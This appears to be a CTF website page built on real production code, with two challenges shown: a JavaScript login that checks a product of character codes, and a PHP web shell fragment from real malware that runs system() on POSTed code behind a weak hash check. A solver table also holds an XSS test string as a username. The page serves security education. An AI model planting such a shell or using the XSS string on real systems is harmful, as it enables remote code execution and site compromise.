I think CTFs are great but sometimes the challenges can feel a bit made up (LiveOverflow has great video on this! CTFs are TERRIBLE!). Therefore I made "Real Sec CTF" where all the challenges are based on real code that was used in production! The vulnerabilities presented here are all reported, fixed or not in use anymore. I plan to add my own write-ups to these but right now there are no solutions published on this page.
If you have any interesting security vulnerabilities that you've found in the wild and want to share, just let me know!
2022-08-20 - Now we have a scoreboard! :) The order for people with the same number of solves is arbitrary.
2022-03-25 - Wow! Great job Q on solving all the original seven challenges!
| Username | Solves |
|---|---|
| PotatoKingTheVII | 12 |
| ludde | 12 |
| corgo | 12 |
| Q | 12 |
| Peptski | 12 |
| Assured | 11 |
| har-ee | 11 |
| samkaj | 10 |
| TITANPOINTE | 10 |
| Saile | 10 |
Trying to write a login with only JavaScript, without any communication to server-side code, might seem impossible. Anyone can inspect the code to check the password or simply jump to the "successful" login function. However, I think this solution was pretty clever!
function login() {
var pw = document.getElementById('login').value;
var prod = 1;
for(var i = 0; i < pw.length; i++) {
prod *= pw.charCodeAt(i);
}
if( prod == 19811137522176000 ) {
window.location = pw + ".php";
}
}
Only if prod matches a seemingly magic number will we jump to the correct PHP file.
Update 2021-02-09: Thanks to GoldFish for finding the
original article
(also mentioned here)
that explains how to implement this "encryption".
I've changed the password to mitigate searching for the answer, the password strength
remains the same. I should add that when I first found this "encryption" it was used
on a live production website!
Solvers:
| Username | Date |
|---|---|
| GoldFish | 2021-02-08 20:00:12 |
| Dubrefjord | 2021-05-12 09:01:33 |
| tihanyin | 2021-06-09 19:51:10 |
| grocid | 2021-08-28 18:24:19 |
| yoda | 2022-03-21 14:35:52 |
| Peptski | 2022-03-21 16:42:55 |
| DZ | 2022-03-21 17:34:21 |
| Q | 2022-03-21 21:10:29 |
| φ | 2022-03-22 17:51:49 |
| saga | 2022-03-24 01:17:33 |
| dani | 2022-03-24 01:19:31 |
| <script>alert("Intel® HD Graphics")</script> | 2022-03-26 20:49:28 |
| nightmorning | 2022-03-28 21:45:47 |
| 192 | 2022-03-29 15:59:10 |
| Intel® HD Graphics | 2022-04-01 19:24:37 |
| Assured | 2022-04-28 22:27:33 |
| Steget | 2022-05-11 11:12:12 |
| dab | 2022-05-11 11:12:14 |
| PotatoKingTheVII | 2022-06-17 14:14:35 |
| TITANPOINTE | 2022-08-19 09:04:51 |
| corgo | 2022-08-29 22:31:57 |
| 727 | 2022-09-21 21:11:17 |
| har-ee | 2022-11-03 00:14:35 |
| Grybto | 2022-11-29 15:07:50 |
| epistemologist | 2023-01-04 23:43:33 |
| ludde | 2023-03-20 11:58:37 |
| shyhungalpha | 2023-03-20 21:40:12 |
| alax | 2023-04-02 08:10:57 |
| PeterPan | 2023-04-04 15:04:04 |
| Saile | 2024-05-09 21:02:40 |
| samkaj | 2024-12-30 15:13:04 |
| j | 2025-03-30 13:35:45 |
This is something I found in a PHP malware, a shell to be specific.
Attackers would upload this to a vulnerable server giving them remote code execution capabilities.
To protect their shell from other attackers they have a password check and
like true security experts they store the password hashed,
or at least part of it? Hmm...
They also know that MD5 is weak so they add an extra layer of SHA1.
if(substr(sha1(md5($_POST['pw'])),36)=='222f') {
system($_POST['code']);
}If you think this was easy you can head over to Hash Game for some tougher hashing challenges. For more on PHP shells you can checkout my blog post Improving web shells with asymmetric encryption .
Solvers:
| Username | Date |
|---|---|
| GoldFish | 2021-02-08 18:05:07 |
| SimonGoater | 2021-04-07 16:54:39 |
| Dubrefjord | 2021-05-12 13:13:08 |
| tihanyin | 2021-06-09 20:04:28 |
| grocid | 2021-08-28 18:32:54 |
| caark | 2022-03-17 04:03:53 |
| Q | 2022-03-22 10:15:34 |
| Peptski | 2022-03-22 10:18:29 |
| φ | 2022-03-22 18:25:58 |
| yoda | 2022-03-25 17:48:38 |
| dani | 2022-03-25 18:46:43 |
| Intel® HD Graphics | 2022-03-26 21:06:15 |
| nightmorning | 2022-03-28 23:09:48 |
| Assured | 2022-04-28 22:48:47 |
| dab | 2022-05-11 11:38:01 |
| Steget | 2022-05-11 11:43:07 |
| PotatoKingTheVII | 2022-06-17 14:30:19 |
| TITANPOINTE | 2022-08-18 21:05:44 |
| corgo | 2022-08-29 22:49:00 |
| go | 2022-09-06 03:01:22 |
| 727 | 2022-09-21 21:12:06 |
| har-ee | 2022-11-02 22:03:15 |
| Grybto | 2022-11-29 15:42:33 |
| epistemologist | 2023-01-05 00:02:12 |
| ludde | 2023-03-20 12:05:41 |
| shyhungalpha | 2023-03-20 21:59:35 |
| alax | 2023-04-03 12:22:17 |
| PeterPan | 2023-04-13 11:04:19 |
| omstaendlig | 2024-03-03 08:17:59 |
| Saile | 2024-05-09 21:07:06 |
| kalleballe | 2024-05-13 14:44:18 |
| s | 2024-05-13 14:56:32 |
| rest | 2024-10-30 14:41:10 |
| aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa